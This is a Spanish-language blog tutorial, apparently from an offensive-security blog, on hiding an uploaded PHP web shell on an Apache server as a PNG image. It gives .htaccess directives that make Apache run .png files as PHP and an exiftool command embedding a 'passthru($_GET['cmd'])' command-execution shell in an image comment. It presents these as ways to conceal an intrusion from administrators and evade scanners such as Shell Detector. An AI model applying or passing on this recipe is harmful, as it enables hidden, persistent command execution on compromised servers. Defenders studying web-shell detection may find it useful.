Ocultando la web shell como una imagen (Apache + PHP)

Iniciamos marzo con una técnica muy utilizada, se trata de ocultar una shell que hemos subido a nuestro servidor objetivo, ocultarla 100% no será posible, pero si pasará desapercibida para muchos administradores y webmasters.

La técnica consiste en que nuestro script (PHP en este caso) se oculte bajo una supuesta imagen.

Primero, se asume que detectamos una vulnerabilidad que nos permita crear un archivo en el servidor, luego explotamos la vulnerabilidad y subimos nuestra shell, supongamos un plugin de Wordpress que hace upload de imagenes sin validar.
Podríamos ver un directorio similar a este:


Lo que vemos, es claramente un script PHP, debe mantener esa extensión para que el servidor lo interprete, lo ejecute y podamos hacer uso de este.

El problema es que es demasiado evidente que se ha vulnerado la aplicación, entonces se hace necesario ocultar o camuflar esta intrusión de alguna forma.

Apache permite sobre escribir algunas configuraciones a través de un archivo que se instala en la misma aplicación, el archivo se debe llamar ".htaccess". Para que esto funcione, la configuración de Apache y la misma aplicación deben permitir que se procesen los archivos ".htaccess", puede ocurrir que no nos funcione porque Apache está configurado del manera que no permite sobre escribir configuración vía htaccess. Sin embargo, es muy frecuente que esté habilitado debido a que la mayoría de las aplicaciones y sitios web lo utilizan para el posicionamiento web vía URL Amigables, es decir, que un archivo llamado "noticias.php?id=1" se pueda leer en el navegador como "noticias/hackearon-la-web-de-donald-trump".

Entonces, usando nuestra misma shell, subiremos un archivo .htaccess con la siguiente línea

AddType application/x-httpd-php .png

Esta línea le dice a Apache que los archivos con extensión PNG los procese tal como si fuesen script PHP. Por qué no utilicé la extensión JPG? porque si hacemos eso, las imágenes originales también dejarán de procesarse como imágenes y podríamos ser detectados.

Al subir nuestro archivo .htaccess, este no se listará en el navegador, Apache trata como archivos ocultos aquellos que en su nombre comiencen con un punto (".htaccess"), luego renombramos nuestra shell con un nombre similar a los que utiliza la aplicación:



Ahora, a simple vista todo parece estar en orden, sin embargo, la imagen PNG elephants es un PHP que será interpretado como tal.

Me he encontrado con casos en que AddType no realiza el cambio esperado en el servidor (https://httpd.apache.org/docs/2.4/mod/mod_mime.html#addtype), la razón es porque el Handler de Apache puede estar configurado como Apache o CGI, la línea anterior funciona si está configurado como Apache, esta estructura se denomina Server API  (SAPI).

En este sitio se explica como revisar cual handler usa nuestro servidor (usando phpinfo())

https://www.opensource-excellence.com/blog/item/416-how-to-determine-php-is-running-as-php-cgi-or-apache-module?.html

En caso que sea CGI, la línea de htaccess cambia a

AddHandler php-cgi .png


Donde el nombre del handler "php-cgi" puede variar dependiendo de la configuración y versión del servidor.

Hasta aquí hemos logrado camuflar algo nuestra shell, ya no será tan evidente a ojos de un administrador o webmaster.

Puede ocurrir que existan herramientas automáticas de detección de malware instaladas en el servidor objetivo, en ese caso, esta técnica podría ser detectada, ya que el MIME Type no coincide con el contenido, lo que es sinónimo de "archivo sospechoso". Para evitar esto y hacer que nuestra "imagen PNG" sea un poco más real se utilizan los campos de metadatos que contienen las imágenes (EXIF más información), en este ejemplo usaremos el campo "Comments" que tienen las imágenes, la pregunta es: cómo?, hay muchas herramientas para editar metadados de las imágenes (buscar en google), pero usaremos una muy básica llamada "exiftool" http://www.sno.phy.queensu.ca/~phil/exiftool/, de la siguiente forma, primero buscamos una imagen real de elefantes (para este ejemplo) y en formato PNG, luego ejecutamos la herramienta con los siguientes parámetros:

exiftool.exe -Comment="<?php passthru($_GET['cmd']); _halt_compiler();" Elephants.png

En el ejemplo insertamos código PHP en el comentario de la imagen, la imagen no se corrompe, sigue siendo una imagen válida, sin embargo, el PHP que contiene el comentario será ejecutado por el servidor.

Si realizamos un scan automático, por ejemplo usando Shell Detector, no lo encuentra.

http://www.shelldetector.com/

Tampoco lo que se menciona en el artículo de nuestros colegas de BackTrack Academy

https://backtrackacademy.com/articulo/detectando-web-shells-en-nuestro-servidor-web

(por lo que les recomiendo actualizar el artículo)

Esto es una buena base para que ocultes tus accesos, sin duda se puede mejorar, o se podrían usar otros formatos. También podríamos encriptar el código PHP para que un simple "grep" tampoco lo detecte, ahora todo depende de la creatividad de cada uno.

Espero te sirva!

Saludos

Comentarios

Entradas populares de este blog

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Evasión de antivirus modernos usando Process Injection - MITRE T1055